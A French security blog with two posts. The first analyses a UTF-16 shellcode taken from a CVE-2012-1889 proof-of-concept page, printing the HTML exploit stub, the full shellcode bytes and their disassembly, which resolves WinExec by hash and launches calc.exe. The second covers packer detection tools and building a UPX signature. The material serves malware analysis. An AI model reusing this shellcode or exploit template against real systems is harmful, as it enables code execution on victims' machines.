jeudi 25 avril 2019

Shellcode sous forme UTF16

I.    Introduction 


Nous effectuons une recherche de source nouvelle source de shellcode encodé en UTF16 pour teste la mise à jour de classe de base de transcription de format.

Ce qui m'a attire été la possibilité d'étendre rapidement un référentielle de shellcode au format \uXXXX pour des travaux sur la partie pdf et la mise à jour d'identifiant caractérisant un classification de pdf  pour cibles des documents avec taux malveillance plus important.

II.          Le shellcode 


Sur le site en question est présent un shellcode au format UTF16 comme la  baslise <script> ne contient pas le type   (<script type="text/javascript">..</script> )
Si cet attribut est absent, le script est interprété comme du JavaScript.

Dans le cas de l'exemple c'est donc du code JavaScript  et l'écriture UTF16 d'un shellcode

Nous mettons le bloc de code qui nous intéresse ici du site. 

<html>
<head>
    <title>CVE 2012-1889 PoC</title>
</head>
<body>
    <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='poc'></object>
    <script>
                               // [ Shellcode ]
                               var shellcode = "\u96E9\u0000\u5600\uC931\u8B64\u3071\u768B
\u8B0C\u1C76\u468B\u8B08\u207E\u368B\u3966\u184F\uF275\uC35E\u8B60\u246C\u8B24\u3C45\u548B
\u7805\uEA01\u4A8B\u8B18\u205A\uEB01\u37E3\u8B49\u8B34\uEE01\uFF31\uC031\uACFC\uC084\u0A74
\uCFC1\u010D\uE9C7\uFFF1\uFFFF\u7C3B\u2824\uDE75\u5A8B\u0124\u66EB\u0C8B\u8B4B\u1C5A\uEB01
\u048B\u018B\u89E8\u2444\u611C\uADC3\u5250\uA7E8\uFFFF\u89FF\u8107\u08C4\u0000\u8100\u04C7
\u0000\u3900\u75CE\uC3E6\u19E8\u0000\u9800\u8AFE\u7E0E\uE2D8\u8173\u08EC\u0000\u8900\uE8E5
\uFF5D\uFFFF\uC289\uE2EB\u8D5E\u047D\uF189\uC181\u0008\u0000\uB6E8\uFFFF\uEBFF\u5B0E\uC031
\u5350\u55FF\u3104\u50C0\u55FF\uE808\uFFED\uFFFF\u6163\u636C\u652E\u6578\u0000";
                               // [ ROP Chain ]


Nous avons intégré ce shellcode au format UTF16 ( Javascript) dans l'un de nos anciens outils
de conversions UTF16 - Shellcode.

Intérêt est surtout d'avoir une base d'exemple sous la main lorsque fait de l'analyse.
Lorsque la base est assez grande de rechercher. Cela permet  de rapidement caractérisé, si l'élément n'est pas un déjà identique à un exemple étudié ou proche avec un pourcentage d'opcode de la base associé

Comme vous pouvez le voir sur la capture en dessous 
























L'intérêt de l'outil est de pouvoir gérer le deux formats %uXXXX ou \uXXXX et de passer en son format shellcode ou inversement. Tous en permettant une modification directement dans la zone de travail.

Lorsque l'on bascule en mode "Shellcode", nous obtenons le shellcode.





Dont voici le listing obtenu en dessous:

\xE9\x96\x00\x00\x00\x56\x31\xC9\x64\x8B\x71\x30\x8B\x76\x0C\x8B
\x76\x1C\x8B\x46\x08\x8B\x7E\x20\x8B\x36\x66\x39\x4F\x18\x75\xF2
\x5E\xC3\x60\x8B\x6C\x24\x24\x8B\x45\x3C\x8B\x54\x05\x78\x01\xEA
\x8B\x4A\x18\x8B\x5A\x20\x01\xEB\xE3\x37\x49\x8B\x34\x8B\x01\xEE
\x31\xFF\x31\xC0\xFC\xAC\x84\xC0\x74\x0A\xC1\xCF\x0D\x01\xC7\xE9
\xF1\xFF\xFF\xFF\x3B\x7C\x24\x28\x75\xDE\x8B\x5A\x24\x01\xEB\x66
\x8B\x0C\x4B\x8B\x5A\x1C\x01\xEB\x8B\x04\x8B\x01\xE8\x89\x44\x24
\x1C\x61\xC3\xAD\x50\x52\xE8\xA7\xFF\xFF\xFF\x89\x07\x81\xC4\x08
\x00\x00\x00\x81\xC7\x04\x00\x00\x00\x39\xCE\x75\xE6\xC3\xE8\x19
\x00\x00\x00\x98\xFE\x8A\x0E\x7E\xD8\xE2\x73\x81\xEC\x08\x00\x00
\x00\x89\xE5\xE8\x5D\xFF\xFF\xFF\x89\xC2\xEB\xE2\x5E\x8D\x7D\x04
\x89\xF1\x81\xC1\x08\x00\x00\x00\xE8\xB6\xFF\xFF\xFF\xEB\x0E\x5B
\x31\xC0\x50\x53\xFF\x55\x04\x31\xC0\x50\xFF\x55\x08\xE8\xED\xFF
\xFF\xFF\x63\x61\x6C\x63\x2E\x65\x78\x65\x00\x00

En suite nous avons fait une l'analyse rapide en le passant dans notre outils d'analyse de shellcode X32. l'avantage et qui ressort les blocs déjà référencé et les Hashs classique ou commun des shellcodes.



 Nous avons basculer en mode Assembleur le shellcode inséré.
































En basculant en mode "Diagram", on identifie tous les signatures connue de bloc et Hash pouvant exister référencé lors des différentes analyse. cela permet une analyse plus rapide du shellcode et voir s'il a un intérêt ou de ce concentrer sur des blocs pas connue.



Nous mettons le listing obtenu en dessous

00000000:   E9 96 00 00 00       JMP 00000096h (+96h ->:0000009B)
00000005 -> 00000021:  => HMODULE __declspec(naked) AsmFindKernel32BaseV29(void)
00000022 -> 00000072:  => DWORD __declspec(naked) GetProcAddressByHashRor13AdditiveV12(HMODULE hMod,DWORD dwHash)
00000073:   AD                         LODSD (Loads DS:[SI](ESI for LODSD) val into AL,AX,EAX and inc SI)
00000074:   50                         PUSH EAX
00000075:   52                         PUSH EDX
00000076:   E8 A7 FF FF FF         CALL FFFFFFA7h (-59h ->:00000022)
0000007B:   89 07                     MOV DWORD PTR[EDI],EAX
0000007D:   81 C4 08 00 00 00  ADD ESP,0x00000008
00000083:   81 C7 04 00 00 00  ADD EDI,00000004h
00000089:   39 CE                    CMP ESI,ECX
0000008B:   75 E6                     JNZ E6h (rel8)(-1Ah ->:00000073)
0000008D:   C3                        RET
0000008E:   E8 19 00 00 00       CALL 00000019h (+19h ->:000000AC)
                                               db (0E8AFE98=Hash[ROR13(Additive)]('WinExec'))
00000093:  98 FE 8A 0E
                                               db (73E2D87E=Hash[ROR13(Additive)]('ExitProcess'))
00000097:  7E D8 E2 73
0000009B:   81 EC 08 00 00 00  SUB ESP,0x00000008
000000A1:   89 E5                     MOV EBP,ESP
000000A3:   E8 5D FF FF FF        CALL FFFFFF5Dh (-A3h ->:00000005)
000000A8:   89 C2                    MOV EDX,EAX
000000AA:   EB E2                    JMP E2h (-1Eh ->:0000008E)
000000AC:   5E                         POP ESI
000000AD:   8D 7D 04               LEA EDI,[EBP+04h]
000000B0:   89 F1                     MOV ECX,ESI
000000B2:   81 C1 08 00 00 00  ADD ECX,0x00000008
000000B8:   E8 B6 FF FF FF        CALL FFFFFFB6h (-4Ah ->:00000073)
000000BD:   EB 0E                    JMP 0Eh +0Eh ->:000000CD)
000000BF:   5B                         POP EBX
000000C0:   31 C0                    XOR EAX,EAX
000000C2:   50                         PUSH EAX
000000C3:   53                         PUSH EBX
000000C4:   FF 55 04                CALL DWORD PTR [EBP+04h]
000000C7:   31 C0                    XOR EAX,EAX
000000C9:   50                         PUSH EAX
000000CA:   FF 55 08                CALL DWORD PTR [EBP+08h]
000000CD:   E8 ED FF FF FF       CALL FFFFFFEDh (-13h ->:000000BF)
000000D2 -> 000000DA:  db    'calc.exe',00h                             

III.    Analyse du bloc ciblé


Au vu du code obtenu, il est assez simple de voir que l'on crée un tableau contenant deux hash
et via la fonction  appeler ont lui passe l'adresse départ contenu dans ESI  et l'adresse de fin via ECX ( ESI + 4 * 2 )   ( Un DWORD prend 4 octets )

000000B0:   89 F1                     MOV ECX,ESI
000000B2:   81 C1 08 00 00 00  ADD ECX,0x00000008

La ligne appelant la sous routine pour remplir la tableau crée sur la pile avec la résolution des adresses d'API via le tableau de Hash fournit

000000B8:   E8 B6 FF FF FF        CALL FFFFFFB6h (-4Ah ->:00000073)

Suite à cela les adresses EBP+04 contient l'adresse de l'API 'WinExec' et l'adresse EBP+08 contient l'adresse de l'API 'ExitProcess'

Après, il y a plus grand chose à dire des lignes qui suivent:

000000BD:   EB 0E                    JMP 0Eh +0Eh ->:000000CD)
000000BF:   5B                         POP EBX
000000C0:   31 C0                    XOR EAX,EAX
000000C2:   50                         PUSH EAX
000000C3:   53                         PUSH EBX
000000C4:   FF 55 04                CALL DWORD PTR [EBP+04h]
000000C7:   31 C0                    XOR EAX,EAX
000000C9:   50                         PUSH EAX
000000CA:   FF 55 08                CALL DWORD PTR [EBP+08h]
000000CD:   E8 ED FF FF FF       CALL FFFFFFEDh (-13h ->:000000BF)
000000D2 -> 000000DA:  db    'calc.exe',00h                 

Etant tous simplement l'appel suivant:

WinExec("calc.exe",0);
ExitProcess(0);

Nous avons testé rapidement ce shellcode dans notre vielle outil de création de shellcode WinExec pour effectué une exécution du code.





























 Nous avons appuyé sur le bouton "Run" est sans surprise une calculatrice est apparue et notre programme exécutant le shellcode, c'est ferme lié au "ExitProcess(0)".



Maintenant, nous savons a quoi sert ce code, il ne fait qu'un simple lancement du processus. On voulez pas rester sur cette impasse de recherche
Etant en soit un Shellcode sans grand intérêt comme dans beaucoup de recherche.

IV.    Autre axe de recherche


Maintenant, que l'on avez valider que ce shellcode ne nous apporterait pas grand point intéressant. Avant l'abandonnée cette piste. Nous avons voir si d'autre shellcode sur la même base était

Delà en cherchant la séquence de départ du shellcode au travers d'internet

"\xE9\x96\x00\x00\x00\x56\x31\xC9\x64\x8B\x71\x30\x8B\x76\x0C\x8B"

On retrouve une source identique sur la même thématique


Donc a du déjà passer sur ce shellcode, pour cela nous allons vérifier avec une outils intégrant une base de donnée à plat de fichier ".bin" utilisé comme référence pour faire des croisements de shellcode

Nous avons positionner le Shellcode dans la partie "Shellcode" de notre outil


 Nous avons lancé l'analyse pour voir si quelque chose en sorté


Il ressort une référence ShellcodeX32_Ref0073_WinExecCalc.bin

Nous allons sélectionné ce shellcode dans l'outil et regarder les références connue


En regardant de plus près les sites déjà tag, on voit que le format des shellcodes et simplement écrit le tableau différemment pour une majorité sous

'"0x56, 0x31, 0xC9, 0x64, 0x8B, 0x71, 0x30, 0x8B, 0x76, 0x0C, 0x8B,..."

nous avons profité de intégré la référence de "https://a2ir.github.io/2017/04/22/cve-2012-1889/" pour pu repasser sur ce site lors de prochaine recherche.

V.    Conclusions


Nous espérons que ces quelques lignes, vous ont permis de voir qu'il n'est pas si simple de trouver des shellcodes sortant du lots dans la masse disponible du net. Et que l'on peu vite revenir a un shellcode déjà étudié ou sans intérêt assez rapidement.

Il est assez important de consigné les sites et les sources des shellcodes pour éviter de perdre un temps important sur des shellcodes déjà connu ou qui sont simplement une n copies d'un shellcode classique. Et utiliser un moyen rapide de valider si l'étude vaut la peine ou non.
l'automatisation de ses taches vous fera économiser beaucoup de temps.

dimanche 24 février 2019

Détection de Packer


I.    Introduction


Les auteurs de logiciels malveillants utilisent plusieurs astuces pour éviter la détection et l'analyse. L'une des méthodes les plus courantes consiste à utiliser un programme de compression, un outil qui compresse, crypte et / ou modifie le format d'un fichier malveillant que l'on nomme packer. Les packers peuvent également être utilisés à des fins légitimes, par exemple pour protéger un programme contre l'analyse ou la copie de bloc.
Toutes ces astuces diminuent les chances de détection par des logicielles anti-malware et permettent d'éviter l'analyse par des chercheurs en sécurité.
Les emballeurs rendre plus difficile l'analyse et l'inverse ingénierie en mode statiques  pour des analystes en sécurité dans le but de retarder l'identification du comportement du logiciels malveillants et d'augmenter le temps requis pour une analyse des parties fondamentales. La complexité des packers varie et il existe une quantité important de packer que ce soit des packers clé en main dit standard que de packers privés.


II.    Type d'emballeurs


Un packer peut agir simplement comme une armure pour protéger le binaire. Il est plus pratique pour les attaquants d’utiliser un programme de compression plutôt que d’implémenter directement une protection dans le code étant moins coûteux. Les logiciels malveillants avancés codés par des groupes de cybercriminels organisés utilisent plutôt des programmes d’emballage personnalisés et aussi implémentent une protection complexe au sein de fichiers malveillants en plus pour crée plusieurs couche de protection.

Nous allons concentrer sur les packers standard, il existe plusieurs formats de packer connus et reconnus : UPX, FSG, Armadillo, Themida, Petite, etc.

Avant de pouvoir décompresser ( Unpacker ) un programme ayant était compressé, il faut pouvoir déterminer qu'elle packer a été utiliser pour compresser notre échantillons.
C'est la vocation de cette article.


III.    Les logiciels de détection de packer


Il existe une multitude de programme conçu pour analyser un binaire et de déterminer si le binaire est packé ou pas.C'est programme permettre de connaître qu'elle parker a été utiliser sur le binaire.

Voici une liste non exhaustive d'outil permettant de déterminer si un binaire est packé.
1) PEiD V0.95

Il est l'un des plus populaire pour l'analyseur de fichier exécutables.
L'analyse est effectuée sur la base de données de signatures interne et externe.
Il existe plusieurs niveaux d'analyse allant du plus rapide au plus profond. l'intérêt également est la fonctionnalité étendre par des plugins externes la base de signature.
Les signatures étant stockées dans un fichier texte séparé, vous pouvez donc facilement y ajouter vos propres fichiers et aussi comprendre ce comment est construit les signature.
















 
2) Detect it Easy V0.65 (DiE)

Il est très proche de PEiD sur la partie scan de packer. Mais il fournit également certaines fonctions utiles pour l'analyse du PE :visualiser les importations, les sections, visualiser d'un fichier en mode hexadécimal, désassembler ( basique ), l'afficher des caractéristiques de base de PE. Et les classique hachage MD5 et le CRC-32.
Il dispose également de la fonctionnalité étendre le programme avec des plugins externe.




















 
 
3) RDG Packer Detector V0.76

Celui-ci est un détecteur de packer au sens propre, vous pouvez aller sur le site suivant : http://www.rdgsoft.net/ pour télécharger le programme. Nous trouvons simple à utiliser. Il reconnaît bien les Packers à la différence d'autre plus ancien.
Est le bon outil pour cette tache de détection.
















  
 
4) ExeInfo PE

Il est également dans la même vaine que PEiD avec quelque fonction complémentaire
Idée d'ajouter l'information sur l'outil pouvant servir à Unpacker le binaire est bien pour des débutant.

















 
 
5) file insPEctor XL

Lui est un analyseur ancien des années 2000. Définit de manière heuristique les packers et les compilateurs de fichiers exécutable.
Il affiche aussi les données de base des tables d'en-tête, de section, d'importation et d'exportation du PE. En plus de l'analyseur.

Il inclut des fonction d'ajouté une section vide à un fichier ou de nouvelles fonctions d'importation, une calculatrice RVA à décalage,la modification de la date et l'heure d'un fichier, rediriger l'OEP.

Il devient moins utile pour la détection de packer que pour ses fonctions sur le PE
Dans la capture cela ce voit, il détecte bien UPX. Mais sur une signature ancienne.






























6) Stud_PE

Il est un très bon programme, en plus d’analyser la manière dont un fichier est compressé, il affiche de nombreuses autres informations utiles sur le PE: sections, ressources, tables d’import et d’exportation, en-tête DOS.
L'éditeur HEX intégré à Stud_PE met en évidence les champs d'en-tête de fichier sélectionnés, ce qui est très pratique pour analyser sa structure.
Les fonctionnalités peuvent être étendue à l'aide de plug-ins, et les plug-ins de PEiD sont compatible également à l'outil.


























IV.    Analyse d'un packer standard UPX


A partie d'un programme simple, nous allons le packé à partir de deux version de UPX, pour obtenir deux échantillons de référence.

Nous avons pris simple programme affichant une MessageBox, crée a partir de visual studio avec un projet SDK.













Nous mettons le code source correspondant de ce petit programme.

// WinBasic.cpp : Defines the entry point for the application.

#include "stdafx.h"

int APIENTRY WinMain(HINSTANCE hInstance,
                                          HINSTANCE hPrevInstance,
                                          LPSTR     lpCmdLine,
                                          int       nCmdShow)
{
            MessageBox(0, "Hello", "Msg Title Basic Win", MB_OK);
            return 0;
}

Nous avons utilisé Upx290 et Upx308 dans notre démonstration. Vous pouvez les télécharger à partir des urls suivant:

https://sourceforge.net/projects/upx/files/upx/3.08/
https://sourceforge.net/projects/upx/files/upx-beta/2.90/

De là nous avons générés deux échantillons de notre référence, l'un avec Upx 290 et l'autre avec Upx 308. Vous trouverez en dessous la capture pour la génération










 Nous les avons renommé et positionné dans un répertoires "Echantillons" pour la suite.















Nous avons passé l'un des échantillons ( WinBasicIcon_PackedToUpx308 ) dans différent outils de détection de packers. Nous mettons la capture en dessous:














 



















 
Nous avons entouré en rouge les parties qui nous intéresse à expliquer.

Il utilise la détection statique, elle consiste à analyser le code du fichier sans exécuter ce dernier. On note dans nos deux exemples l'utilisation de la détection par signature.
Il s’agit de détection qui correspond à des portions de code significative du binaire permettant une identification de la famille du packer et dans une plus grande mesure de la version du packer utilisé.
Et qui sont dans notre cas les premiers opcode du binaire pointé par EntryPoint du PE.

Comme l'outils nous donne l'adresse ou l'offset file pointant l'Entrypoint du PE. Il nous sera assez simple de valider cela. Dans notre exemple la valeur indiqué est 0x00004910.

En utilisant un outil pour la lecture des binaires maison, on peut voir que cela correspond bien.



























 Nous obtenons la séquence suivante:

60 BE 00 A0 40 00 8D BE 00 70 FF FF 57 EB 0B 90
8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11
DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE
FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC
11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 08 8A 06

Mais, elle n'est pas exploitable directement lié au différents Opcode présent utilisant des référence à des adresses propre au  programme.

Nous avons passer ce code dans l'une de nos outils pour désassemblée les opcodes et nous avons également indiqué ce qui sont relatif à des positions pouvant changer. Les éléments problématique sont soulignée en bleu dans la capture en dessous.



Nous utilisons une notation pour l'écriture de la signature ou  les octets à  ne pas prendre en compte son remplacé par ?? ou  peut trouver d'autre représentation  avec XX dans certains outils. Cela nous donne la chaîne suivante.

"60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 EB 0B 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE"

Nous avons intégrer dans notre base de donnée ces signatures de packer dont UPX308 à notre outils "EzSearchPackers.exe".

Le moyen de stockage est assez basique un simple fichier INI, vous trouverez beaucoup de ce format. Lié à son utilisations comme moyen de déclarer vos propres signatures dans plusieurs outils comme Peid.















De là, nous avons passer notre échantillon "WinBasicIcon_PackedToUpx308.exe" à l'analyse au travers de notre propre détecteur de packer ( EzSearchPackers.exe ).
Et nous avons bien l'identification que le programme est paqueté avec le packer UPX 3.08 avec la détection par la signature crée au dessus.






















Notre outils fournit deux informations distinct sur deux techniques. L'une basé sur le nom des sessions pour déterminer rapidement si des noms de sections correspondant à des nommages prédéfini dans notre cas UPX1 et une base de signatures présenté au dessus.

Mais l'outil permet aussi d'obtenir la vu sur les octets de pointé par l'EntryPoint et de pouvoir afficher le codes assembleur et les octets en hexadecimal pour construire de nouvelle signature lors d'analyse de malware.



































De même les signatures référence peuvent être lister , nous reviendrons sur ce point
dans un autre article sur la construction d'une base de signature référentielle.


























  

V.    Conclusions


L'intérêt de connaître si un binaire est paqueté ou non et qu'elle IDE a permit de le générer
réduit l'investigation et surtout permet de réduire le temps pour analyse du code. Car s'il est paqueté, vous devrez neutraliser cette couche en le dépaquetant avant de pouvoir analyse le binaire au niveau fonctionnelle au travers du PE ou d'une étude statique.

Comprendre les processus de reconnaissance par signature est importante. Car la technique étant lié à une identification d'un bloc d'opcode , elle est donc empirique  et elle est dépendante de la bonne qualité des signatures. Nous aborderons ce point dans un prochaine article. Car vous trouvez sur Internet une quantité de base de signature, mais beaucoup ne sont pas de qualité ou sont un agrégat de N bases ou incluant des volumes de doublons important
Il faut donc faire une passe a travers des outils pour construire base de signature représentatif
Et non une concaténation de base de signature.
De plus vous verrez des signature contradictoire ou associé à de mauvais packer.
Donc comprendre la technique c'est éviter de perdre du temps sur une mauvaise piste d'investigation lors de l'étude d'un malware.